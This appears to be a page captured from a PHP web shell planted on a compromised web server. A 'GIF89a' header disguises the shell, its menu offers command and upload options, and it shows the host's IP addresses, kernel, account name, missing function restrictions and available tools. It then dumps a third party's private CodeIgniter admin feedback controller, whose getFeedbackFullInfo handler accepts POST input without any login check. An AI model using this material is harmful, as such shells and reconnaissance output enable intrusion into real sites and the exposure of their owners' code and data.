GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.217.4.250
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../../jobs/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../../jobs/../cas/application/controllers/admin/Feedback.php
<?php

/**
 * Controller class for handling all requests related to feedbacks.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Feedback extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/FeedbackManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allFeedbacks'] = $this->FeedbackManagement->getAllFeedbacks()->result();
            $this->load->view('admin/feedbacks', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function submitFeedback() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/submitFeedback');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewFeedback() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('feedbackSubject', 'Subject', 'trim|required', array('required' => 'Please Select Subject.'));
            $this->form_validation->set_rules('feedbackDescription', 'Description', 'trim|required', array('required' => 'Description Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->submitFeedback();
            } else {
                if (empty($_FILES['feedbackScreenshot']['name'])) {
                    $newFeedbackInfo = array(
                        'fb_subject' => stripslashes($this->input->post("feedbackSubject")),
                        'fb_detail' => stripslashes($this->input->post("feedbackDescription")),
                        'fb_extension_no' => stripslashes($this->input->post("feedbackExtension")),
                        'fb_submitted_by' => $this->session->userdata("adminData")["smember_id"],
                        'fb_submitted_on' => date("Y-m-d H:i:s")
                    );
                    if ($this->FeedbackManagement->createNewFeedback($newFeedbackInfo)) {
                        $this->session->set_flashdata('successMessage', 'Query/Feedback Submitted Successfully.');
                        redirect("admin/Dashboard#allFeedbacks");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Submitting Query/Feedback. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $feedbackScreenshotImageNameWithPath = "";
                    $configScreenshotImg['upload_path'] = './assets/admin/uploads/feedbacks/';
                    $configScreenshotImg['allowed_types'] = 'jpeg|jpg|png|webp';
                    $configScreenshotImg['max_size'] = '1024';
                    $configScreenshotImg['file_ext_tolower'] = TRUE;
                    $configScreenshotImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configScreenshotImg);
                    if (!$this->upload->do_upload("feedbackScreenshot")) {
                        $this->session->set_flashdata('errorMessage', 'The Screenshot Can Not Be Uploaded As It Violates The Upload Criteria. File Size 1 MB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.webp.');
                        $this->submitFeedback();
                    } else {
                        $feedbackScreenshotImageNameWithPath = "/assets/admin/uploads/feedbacks/" . $this->upload->data()['file_name'];
                        $newFeedbackInfo = array(
                            'fb_subject' => $this->input->post("feedbackSubject"),
                            'fb_detail' => $this->input->post("feedbackDescription"),
                            'fb_extension_no' => $this->input->post("feedbackExtension"),
                            'fb_image_file' => $feedbackScreenshotImageNameWithPath,
                            'fb_submitted_by' => $this->session->userdata("adminData")["smember_id"],
                            'fb_submitted_on' => date("Y-m-d H:i:s")
                        );
                        if ($this->FeedbackManagement->createNewFeedback($newFeedbackInfo)) {
                            $this->session->set_flashdata('successMessage', "Query/Feedback Submitted Successfully. Click <a href='#allFeedbacks'>Here</a> To Track Status Of Your Query/Feedback.");
                            redirect("admin/Dashboard");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Submitting Query/Feedback. Try Later.');
                            redirect(current_url());
                        }
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleFeedbackLockStatus($fb_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            if ($toUpdateStatus == 'T') {
                $lockedBy = $this->session->userdata("adminData")["smember_id"];
                $lockedOn = date("Y-m-d H:i:s");
                $status = "R";
            } else {
                $lockedBy = 0;
                $lockedOn = NULL;
                $status = "P";
            }
            $feedbackUpdateData = array(
                'fb_id' => $fb_id,
                'fb_seen_on' => $lockedOn,
                'fb_seen_by' => $lockedBy,
                'fb_locked_on' => $lockedOn,
                'fb_locked_by' => $lockedBy,
                'fb_resolve_status' => $status
            );
            if ($this->FeedbackManagement->updateFeedback($feedbackUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Feedback Lock Status Updated Successfully.');
                redirect("admin/Feedback");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Lock Status. Try Later.');
                redirect("admin/Feedback");
            }
        } else {
            redirect("admin/");
        }
    }

    public function resolveQuery() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $resolveFeedbackInfo = array(
                'fb_id' => $this->input->post("feedbackId"),
                'fb_resolve_remarks' => stripslashes($this->input->post("feedbackRems")),
                'fb_resolve_status' => "D",
                'fb_resolved_by' => $this->session->userdata("adminData")["smember_id"],
                'fb_resolved_on' => date("Y-m-d H:i:s")
            );
            if ($this->FeedbackManagement->updateFeedback($resolveFeedbackInfo)) {
                $this->session->set_flashdata('successMessage', 'Query Status Set To Resolved Successfully.');
                redirect("admin/Feedback");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Setting Query Status To Resolved. Try Later.');
                redirect("admin/Feedback");
            }
        } else {
            redirect("admin/");
        }
    }

    public function getFeedbackFullInfo() {
        $fb_id = $_POST['feedback_id'];
        $seen_by = $_POST['seen_by'];
        $markSeen = $_POST['mark_seen'];
        $feedbackUpdateData = array(
            'fb_id' => $fb_id,
            'fb_seen_on' => date("Y-m-d H:i:s"),
            'fb_seen_by' => $seen_by
        );
        if ($markSeen) {
            $this->FeedbackManagement->updateFeedback($feedbackUpdateData);
        }
        $feedback_info = $this->FeedbackManagement->getFeedbackBy($fb_id)->result()[0];
        $currentStatus = "";
        if ($feedback_info->fb_resolve_status_flag == "P") {
            $currentStatus = "<i class='fa fa-clock-o' style='color:#FF0000;'></i> Pending";
        } else if ($feedback_info->fb_resolve_status_flag == "R") {
            $currentStatus = "<i class='fa fa-tasks' style='color:#0000FF;'></i> In-Progress";
        } else {
            $currentStatus = "<i class='fa fa-check-circle' style='color:#00FF00;'></i> Resolved/Done";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'feedback_id' => $feedback_info->fb_id,
            'feedback_subject' => stripslashes($feedback_info->fb_subject),
            'feedback_description' => stripslashes($feedback_info->fb_detail),
            'feedback_status' => $currentStatus,
            'feedback_screenshot' => ($feedback_info->fb_image_file != "" || $feedback_info->fb_image_file != NULL) ? "<a href='" . $feedback_info->fb_image_file . "' target='_blank'><img src='" . $feedback_info->fb_image_file . "' width='100px' height='50px'></a>" : "-",
            'feedback_submitted_by' => $feedback_info->fb_submitted_by,
            'feedback_submitted_on' => date('d-m-Y h:i:s A', strtotime($feedback_info->fb_submitted_on)),
            'feedback_screenshot' => ($feedback_info->fb_image_file == "" || $feedback_info->fb_image_file == NULL) ? "-" : $feedback_info->fb_image_file,
            'feedback_extension' => $feedback_info->fb_extension_no,
            'feedback_seen_by' => ($feedback_info->fb_seen_on == NULL) ? "-" : $feedback_info->fb_seen_by_user . " On " . date('d-m-Y h:i:s A', strtotime($feedback_info->fb_seen_on)),
            'feedback_locked_by' => ($feedback_info->fb_locked_on == NULL) ? "-" : $feedback_info->fb_locked_by_user . " On " . date('d-m-Y h:i:s A', strtotime($feedback_info->fb_locked_on)),
            'feedback_resolved_by' => ($feedback_info->fb_resolved_on == NULL) ? "-" : $feedback_info->fb_resolved_by_user . " On " . date('d-m-Y h:i:s A', strtotime($feedback_info->fb_resolved_on)),
            'feedback_resolve_rems' => ($feedback_info->fb_resolve_remarks == "" || $feedback_info->fb_resolve_remarks == NULL) ? "-" : stripslashes($feedback_info->fb_resolve_remarks)
        );
        echo json_encode($responseData);
    }

    /* Request Handlers For Correction Requests */

    public function correctionRequests() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allCorrectionRequests'] = $this->FeedbackManagement->getAllCorrectionRequests()->result();
            $this->load->view('admin/student/correctionRequests', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function changeCorrectionRequestStatus($tscr_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $resolveCorrectionRequestInfo = array(
                'tscr_id' => $tscr_id,
                'tscr_status' => "D",
                'tscr_correction_by' => $this->session->userdata("adminData")["smember_id"],
                'tscr_correction_on' => date("Y-m-d H:i:s")
            );
            if ($this->FeedbackManagement->updateCorrectionRequests($resolveCorrectionRequestInfo)) {
                $this->session->set_flashdata('successMessage', "Correction Request Status Changed To 'Complete'.");
                redirect("admin/Feedback/correctionRequests");
            } else {
                $this->session->set_flashdata('errorMessage', "Some Error Occurred While Setting Correction Request Status To 'Complete'. Try Later.");
                redirect("admin/Feedback/correctionRequests");
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023